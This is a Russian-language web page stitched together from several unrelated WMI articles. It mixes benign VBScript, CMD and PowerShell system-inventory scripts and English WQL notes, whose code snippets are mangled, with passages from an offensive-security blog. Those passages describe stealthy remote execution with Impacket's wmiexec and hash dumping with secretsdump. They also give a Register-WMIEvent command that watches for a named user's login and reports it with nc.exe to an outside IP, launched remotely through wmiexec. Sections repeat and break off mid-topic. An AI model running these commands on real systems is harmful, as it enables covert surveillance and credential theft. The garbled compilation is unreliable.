Получить данные о настройке операционной системы и установке программного обеспечения, используя функциональность базовой платы wmi win32

Класс Win32_OperatingSystem

Класс Win32_OperatingSystem представляет операционную систему семейства Windows, установленную на компьютере.
Если на компьютере установлено несколько операционных систем, класс возвращают экземпляр только активной в
настоящее время операционной системы. Класс позволяет прочитать информацию о версии операционной системы,
некоторых настройках и текущем состоянии операционной системы. Приведённый ниже скрипт демострирует получение
такой информации:

Можно ли отключить постоянные события WMI?

По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.

Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.

Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.

Класс Win32_BIOS

Класс Win32_BIOS предоставляет информацию об установленной на компьютере BIOS. Пример получения информации:

On Error Resume Next
Set objService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\CIMV2")
If Err.Number <> 0 Then
	WScript.Echo Err.Number & ": " & Err.Description
	WScript.Quit
End If
For Each objBIOS In objService.ExecQuery("SELECT * FROM Win32_BIOS")
	Exit For
Next
'наименование (описание)
WScript.Echo objBIOS.Name
WScript.Echo objBIOS.Caption
WScript.Echo objBIOS.Description
'версия
WScript.Echo objBIOS.SMBIOSBIOSVersion
WScript.Echo objBIOS.SMBIOSMajorVersion
WScript.Echo objBIOS.SMBIOSMinorVersion
WScript.Echo objBIOS.Version
'производитель
WScript.Echo objBIOS.Manufacturer
'язык
WScript.Echo objBIOS.CurrentLanguage
'дата выпуска
WScript.Echo objBIOS.ReleaseDate
'серийный номер
WScript.Echo objBIOS.SerialNumber

Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM

В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.

Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.

Получить данные о настройке операционной системы и установке программного обеспечения, используя функциональность базовой платы wmi win32

Sysmon — удобная и понятная утилита для регистрации событий от Microsoft

Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.

Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?

На GitHub есть небольшой проект, где вы найдете код для настройки этой операции. Вот фрагмент кода для фильтра событий WMI, который позволяет отслеживать создание… да-да, фильтра событий WMI:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'

QueryLanguage = 'WQL'
}

Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.

Класс Win32_Product

Класс Win32_Product предоставляет информацию об установленных с помощью Windows Installer программных
продуктах. Пример получения информации:

On Error Resume Next
Set objService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\CIMV2")
If Err.Number <> 0 Then
	WScript.Echo Err.Number & ": " & Err.Description
	WScript.Quit
End If
For Each objProduct In objService.ExecQuery("SELECT * FROM Win32_Product")
	'наименование (описание)
	WScript.Echo objProduct.Name
	WScript.Echo objProduct.Caption
	WScript.Echo objProduct.Description
	'версия
	WScript.Echo objProduct.Version
	'производитель
	WScript.Echo objProduct.Vendor
	'серийный номер
	WScript.Echo objProduct.IdentifyingNumber
	'дата установки
	WScript.Echo objProduct.InstallDate
	WScript.Echo objProduct.InstallDate2
	'каталог установки
	WScript.Echo objProduct.InstallLocation
	'состояние установки
	'-6 Bad Configuration
	'-2 Invalid Argument
	'-1 Unknown Package
	'1 Advertised
	'2 Absent
	'5 Installed
	WScript.Echo objProduct.InstallState
	'путь к файлу установки MSI
	WScript.Echo objProduct.PackageCache
	WScript.Echo "****************************************"
Next

Класс Win32_ClassicCOMClassSetting

Класс Win32_ClassicCOMClassSetting предоставляет информацию об установленных в системе COM-серверах. Пример
получения информации:

On Error Resume Next
Set objService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\CIMV2")
If Err.Number <> 0 Then
	WScript.Echo Err.Number & ": " & Err.Description
	WScript.Quit
End If
For Each objCOM In objService.ExecQuery("SELECT * FROM Win32_ClassicCOMClassSetting")
	WScript.Echo objCOM.ComponentId 'GUID
	WScript.Echo objCOM.Caption 'краткое описание
	WScript.Echo objCOM.ProgID 'программный идентификатор
	WScript.Echo objCOM.InprocServer32 'полный путь к библиотеке DLL
	WScript.Echo
Next

Людоговский Александр

Перейти на главную страничку сайта (список статей, файлы для скачивания)

© 2007 http://www.script-coding.com При любом использовании материалов сайта обязательна ссылка на него как на источник информации, а также сохранение целостности и авторства материалов.

Интеграция Netcat и WMI

Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?

Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.

Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.

Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.

Получить данные о настройке операционной системы и установке программного обеспечения, используя функциональность базовой платы wmi win32

Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события

Выполнение запросов WMI

Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:

  1. Откройте командную строку
  2. Введите WMIC для вызова программы и нажмите клавишу Enter
  3. Появится окно командной строки WMIC
  4. В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:
    WMIC CPU

  5. Результаты будут отображены в командной строке

Практически все команды, которые будут рассмотрены ниже, выполняются таким образом. Однако WMI позволяет получать гораздо более подробную информацию, чем сведения о процессоре, и в том числе от удаленных компьютеров и приложений.

Архитектура инструментария управления Windows

Получить данные о настройке операционной системы и установке программного обеспечения, используя функциональность базовой платы wmi win32

Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:

  • Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
  • Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
  • Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
  • Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
  • Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
  • Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
  • Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
  • API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
  • Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.

Для чего используется инструментарий управления Windows

Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:

  • для сбора информации о статусе локальных и удаленных компьютерных систем
  • настройки параметров безопасности для удаленных компьютеров и приложений
  • настройки и редактирования свойств системы
  • настройки и редактирования разрешений для авторизованных пользователей и групп
  • выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
  • назначения и редактирования меток дисков
  • создания графика выполнения процессов
  • резервного копирования репозиториев объектов
  • включения и отключения регистрации ошибок

Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.

Выполнение запросов WMI

Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:

  1. Откройте командную строку
  2. Введите WMIC для вызова программы и нажмите клавишу Enter
  3. Появится окно командной строки WMIC
  4. В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:
    WMIC CPU

  5. Результаты будут отображены в командной строке

Практически все команды, которые будут рассмотрены ниже, выполняются таким образом. Однако WMI позволяет получать гораздо более подробную информацию, чем сведения о процессоре, и в том числе от удаленных компьютеров и приложений.

Часто задаваемые вопросы об инструментарии управления Windows

Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.

WMI объявлен устаревшим?

Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.

Какие порты использует WMI?

WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.

WMI использует WimRM?

Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.

Класс Win32_ComputerSystem

Класс Win32_ComputerSystem предоставляет некоторые сведения о программно-аппаратной конфигурации компьютера
в среде Windows. Пример получения информации:

On Error Resume Next
Set objService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\CIMV2")
If Err.Number <> 0 Then
	WScript.Echo Err.Number & ": " & Err.Description
	WScript.Quit
End If
For Each objOS In objService.ExecQuery("SELECT * FROM Win32_ComputerSystem")
	Exit For
Next
'имя компьютера
WScript.Echo objOS.Caption
'домен
WScript.Echo objOS.Domain
'роль компьютера в домене
'0 Standalone Workstation 
'1 Member Workstation 
'2 Standalone Server 
'3 Member Server 
'4 Backup Domain Controller 
'5 Primary Domain Controller 
WScript.Echo objOS.DomainRole
'входит в домен (булево)
WScript.Echo objOS.PartOfDomain
'всего физической памяти (байт)
WScript.Echo objOS.TotalPhysicalMemory
'залогиненный в данный момент пользователь
WScript.Echo objOS.UserName

Для чего используется инструментарий управления Windows

Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:

  • для сбора информации о статусе локальных и удаленных компьютерных систем
  • настройки параметров безопасности для удаленных компьютеров и приложений
  • настройки и редактирования свойств системы
  • настройки и редактирования разрешений для авторизованных пользователей и групп
  • выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
  • назначения и редактирования меток дисков
  • создания графика выполнения процессов
  • резервного копирования репозиториев объектов
  • включения и отключения регистрации ошибок

Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.

Использование функциональности wmiexec из Impacket

В WMI можно выполнять разные функции, помимо управления событиями. В нем можно запускать процессы и выполнять команды в окнах Windows как на локальных, так и на удаленных компьютерах. Ради интереса попробуйте ввести команду wmic process call create ‘notepad.exe’ в сеансе PowerShell, чтобы открыть старый текстовый редактор Microsoft. При этом используется замечательный инструмент командной строки wmic, входящий в состав WMI. Здорово, правда?

Если бы я добавил параметр /Node:, а затем имя удаленного компьютера Windows, то смог бы запустить Блокнот на нем, при условии что у меня есть соответствующие разрешения. Совершенно ясно, что на практическом уровне wmic является незаменимым помощником для системных администраторов.

Прежде чем вы начнете возмущаться: я знаю, что существуют эквивалентные командлеты PowerShell. Однако я считаю, что синтаксис wmic легче запомнить.
Было бы здорово, если бы я мог с помощью WMI создать простую и незаметную псевдооболочку.

Получить данные о настройке операционной системы и установке программного обеспечения, используя функциональность базовой платы wmi win32

Скрытая псевдооболочка, созданная с помощью wmiexec

К моему везению, это можно сделать в Impacket. В тестовой среде Amazon я использовал свой любимый wmiexec для доступа к WMI через виртуальную машину Linux. В wmiexec предусмотрена возможность создания псевдооболочки: каждый раз, когда на стороне клиента вводится команда, на целевом компьютере создается отдельная оболочка для выполнения этой команды.
И в psexec, и в smbexec для запуска команд в удаленной системе используются службы Windows. Работа smbexec протекает незаметнее, так как он быстро создает, а затем удаляет службу, а psexec, наоборот, оставляет ее на виду.

Получить данные о настройке операционной системы и установке программного обеспечения, используя функциональность базовой платы wmi win32

Инструмент wmiexec напрямую запускает cmd.exe для удаленного выполнения команды. Созданную команду можно найти в средстве просмотра событий. Обратите внимание, что мы избежали привлекающих внимание служб Windows

Инструмент wmiexec абсолютно не затрагивает службы, вместо этого используя описанные выше возможности WMI для непосредственного запуска процесса. При поиске возможных источников угроз специалисты по безопасности редко начинают с WMI, в то время как службы обычно являются хорошим местом для начала поиска улик, указывающих на атаку. Хороший ход, wmiexec!

Интеграция Netcat и WMI

Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?

Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.

Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.

Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.

Получить данные о настройке операционной системы и установке программного обеспечения, используя функциональность базовой платы wmi win32

Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события

Информация о компьютере

Время на прочтение

Получить данные о настройке операционной системы и установке программного обеспечения, используя функциональность базовой платы wmi win32

Довольно часто нужно быстро, кратко, но информативно получить информацию о стационарном компьютере или ноутбуке, без дополнительного ПО и не «вскрывая крышку».

Это можно реализовать, например, средствами командной строки ОС Windows или PowerShell.
CMD — проверенный временем функционал, который есть в любой версии Windows.
Кроме того, для простых задач администрирования cmd использовать привычнее, а где-то и удобнее.

Что лучше — CMD или PowerShell? Я не готов однозначно ответить на этот вопрос.
Впрочем, ничто не мешает нам пользоваться и тем и другим, все зависит от поставленной задачи.

Мы не будем собирать всю информацию о ПК — для этого существует множество специализированного ПО!

Реализация с помощью CMD.

Сбор информации будем осуществлять использованием переменных среды Windows и выполнением сценариев WMI.

Для вывода всех переменных окружения в Windows и их значений служит команда set.

Для получения сведений об оборудовании и системе, управления процессами и их компонентами, а также изменения настроек с использованием возможностей инструментария управления Windows (Windows Management Instrumentation или WMI) служит команда WMIC.

Подсказку по работе с утилитой wmic.exe можно получить по команде:

  • wmic /? — отобразить общую справку.
  • wmic /?:BRIEF — отобразить краткую справку.
  • wmic /?:FULL — отобразить полную справку.

Мы будем использовать:

  • BASEBOARD (управление системной платой);
  • COMPUTERSYSTEM (управление компьютером);
  • CPU (управление ЦП);
  • DISKDRIVE (управление физическими дисками);
  • MEMORYCHIP (информация о микросхемах памяти).

Скрипт содержит много циклов с FOR.
Отличительной особенностью FOR /F является умение работать через токены, а также поддержка дополнительных ключевых слов:

  • skip (пропуск определенного кол-ва обрабатываемых строк от начала файла);
  • delims (задать другой разделитель(-ли), по умолчанию, пробел и знак табуляции);
  • tokens (количество получаемых токенов (подстрок) в теле цикла и пределы разбивки по разделителю). Также можно задать конкретный № токена, который попадет в первую переменную цикла;
  • usebackq (изменение правил использования кавычек внутри IN (…)).
@echo off
:имя файла для записи информации
set fname=pcinfo.txt
:имя компьютера
Echo pcname: %computername% >>%fname%
:IP-адрес компьютера по его имени
FOR /F "usebackq tokens=2 delims=[]" %%i IN (`ping %Computername% -n 1 -4`) DO if not "%%i"=="" Set ip=%%i
Echo IP %computername%: %ip% >>%fname%
:имя активного пользователя
Echo username: %username%  >>%fname%
:модель ноутбука
set cmd=wmic computersystem get model
for /f "skip=1 delims=" %%Z in ('%cmd%') do (
    set _pn=%%Z
	GOTO BREAK1
)
:BREAK1
echo CS Model: %_pn% >>%fname%
:процессор
SETLOCAL ENABLEDELAYEDEXPANSION
set mmr=0
for /f "skip=1 delims=" %%i in ('wmic cpu get name') do (
for /f "tokens=1-2 delims=" %%A in ("%%i") do (
set CPULbl=%%A
set /a mmr=!mmr!+1
echo CPU !mmr!: !CPULbl! >>%fname%
))
:материнская плата
set cmd=wmic baseboard get product
for /f "skip=1 delims=" %%Z in ('%cmd%') do (
    set _mb=%%Z
    GOTO BREAK2
)
:BREAK2
echo MB: %_mb% >>%fname%
:оперативная память
SETLOCAL ENABLEDELAYEDEXPANSION
set mmr=0
for /f "skip=1 delims=" %%i in ('WMIC MemoryChip get BankLabel^,DeviceLocator^,PartNumber^,Speed^,Capacity') do (
for /f "tokens=1-5 delims=" %%A in ("%%i") do (
set BnkLbl=%%A
set /a mmr=!mmr!+1
echo Memory !mmr!: !BnkLbl! >>%fname%
wmic MEMORYCHIP get banklabel, partnumber, capacity, speed,  manufacturer
))
:диски
SETLOCAL ENABLEDELAYEDEXPANSION
set mmr=0
for /f "skip=1 delims=" %%i in ('wmic diskdrive get model^,size') do (
for /f "tokens=1-2 delims=" %%A in ("%%i") do (
set HDDLbl=%%A
set /a mmr=!mmr!+1
echo DISK !mmr!: !HDDLbl! >>%fname%
))

Реализация с помощью PowerShell.

В оболочке PowerShell, перед тем как запускать скрипт, нужно выполнить команду, разрешающую выполнение неподписанных скриптов для текущего сеанса оболочки:

Set-ExecutionPolicy RemoteSigned -Scope Process

Сбор информации будет осуществляться использованием в основном Get-WmiObject -Class win32, все просто, работа с циклами.

Мы будем использовать:

  • Get-WmiObject -Class win32_processor;
  • Get-WmiObject -Class win32_baseboard;
  • Get-WmiObject Win32_PhysicalMemory;
  • Get-PhysicalDisk;
  • Get-WmiObject -Class Win32_ComputerSystem;
  • Get-WmiObject Win32_NetworkAdapter;
  • Win32_NetworkAdapterConfiguration.
PS C:\Users\admin> Get-WmiObject Win32_NetworkAdapter -Filter 'NetConnectionStatus=2'
ServiceName      : Qcamain10x64
MACAddress       : 58:00:E3:7D:87:3F
AdapterType      : Ethernet 802.3
DeviceID         : 1
Name             : Qualcomm Atheros QCA61x4A Wireless Network Adapter
NetworkAddresses :
Speed            : 144400000

Для получения параметров сети по MACAddress активной сетевой карты дополнительно считываем Win32_NetworkAdapterConfiguration.

#имя файла для записи информации
$fname = "pcinfo.txt"
$CPU = Get-WmiObject  -Class win32_processor
$MB = Get-WmiObject  -Class win32_baseboard
$MEM = Get-WmiObject Win32_PhysicalMemory
$DD = Get-PhysicalDisk
$pcn = Get-WmiObject -Class Win32_ComputerSystem

#имя компьютера
"pcname:	"+$pcn.Name | Out-File -FilePath $fname -Append -Encoding Default
#IP-адрес компьютера по его имени
Get-WmiObject Win32_NetworkAdapter -Filter 'NetConnectionStatus=2' |
ForEach-Object {
$pcip = 1 | Select-Object IP
$config = $_.GetRelated('Win32_NetworkAdapterConfiguration') 
$pcip.IP = $config | Select-Object -expand IPAddress
$pcip
}
foreach($aip in $pcip) {
"IP:	"+$aip.IP | Out-File -FilePath $fname -Append -Encoding Default
}
#имя активного пользователя
"username:	"+$pcn.PrimaryOwnerName | Out-File -FilePath $fname -Append -Encoding Default
#модель ноутбука
"CS Model:	"+$pcn.Model | Out-File -FilePath $fname -Append -Encoding Default
#процессор
$num = 0
foreach($processor in $CPU) {
$num = $num+1
"CPU "+$num+":	"+$processor.Name | Out-File -FilePath $fname -Append -Encoding Default
}
#материнская плата
"MB:	"+$MB.Product | Out-File -FilePath $fname -Append -Encoding Default
#оперативная память
$num = 0
foreach($memory in $MEM) {
$num = $num+1
"MEMORY "+$num+":	"+$memory.PartNumber+"	"+$memory.Capacity+"	"+$memory.Speed | Out-File -FilePath $fname -Append -Encoding Default
}
#диски
$num = 0
foreach($disk in $DD) {
$num = $num+1
"DISK "+$num+":	"+$disk.FriendlyName+"	"+$disk.Size+"	"+$disk.MediaType | Out-File -FilePath $fname -Append -Encoding Default
}

Архитектура инструментария управления Windows

Получить данные о настройке операционной системы и установке программного обеспечения, используя функциональность базовой платы wmi win32

Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:

  • Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
  • Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
  • Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
  • Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
  • Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
  • Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
  • Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
  • API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
  • Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.

Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM

В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.

Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.

Получить данные о настройке операционной системы и установке программного обеспечения, используя функциональность базовой платы wmi win32

Sysmon — удобная и понятная утилита для регистрации событий от Microsoft

Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.

Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?

На GitHub есть небольшой проект, где вы найдете код для настройки этой операции. Вот фрагмент кода для фильтра событий WMI, который позволяет отслеживать создание… да-да, фильтра событий WMI:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'

QueryLanguage = 'WQL'
}

Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.

Устранение недочетов в механизме наблюдения WMI

В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.

Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.

 Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80}}}

Когда я начал работать над этим, я понял, что должен «преобразовать» специальные символы, такие как $, “ и |, и передавать их как литералы непосредственно в PowerShell. Еще одна головная боль: мне в итоге пришлось отказаться от использования вертикальных линий, поскольку они вызывали ошибки анализа. Не спрашивайте. Постепенно я пришел к этой длинной строке кода:

$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.\wmiexec C:\Users\lex\Documents\nc.exe 172.31.18.92 80 }}}
.\wmiexec.exe corp.acme/lex@172.31.46.115 "$command"

Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.

Получить данные о настройке операционной системы и установке программного обеспечения, используя функциональность базовой платы wmi win32

Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно

Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.

Object Queries

Object queries are used to get information about system resources.


 *  Win32_Process 

WMI namespace: Root\Cimv2.

This is probably the WQL query most often found in various WMI articles and textbooks. It simply gets all the instances of a WMI class named Win32_Process which represents Windows processes. If you are interested in the properties of Win32_Process, see here.


 *  Win32_Process 
 ProcessId =  

WMI namespace: Root\Cimv2.

If you don’t really want all Windows processes, you can qualify your query using the WHERE clause. This clause looks like this:

 PropertyName Operator PropertyValue

where Operator is one of the WQL relational operators. The above query will return Win32_Process instances with process ID equals to 608.


 *  Win32_Process 
 Priority >  

WMI namespace: Root\Cimv2.

One of the WQL relational operator is ‘>’ (greater than). The above query returns all Win32_Process instances with Priority greater than 8.


 *  Win32_Process 
 WriteOperationCount <  

WMI namespace: Root\Cimv2.

This query returns all Win32_Process instances where the WriteOperationCount is less than 1000.


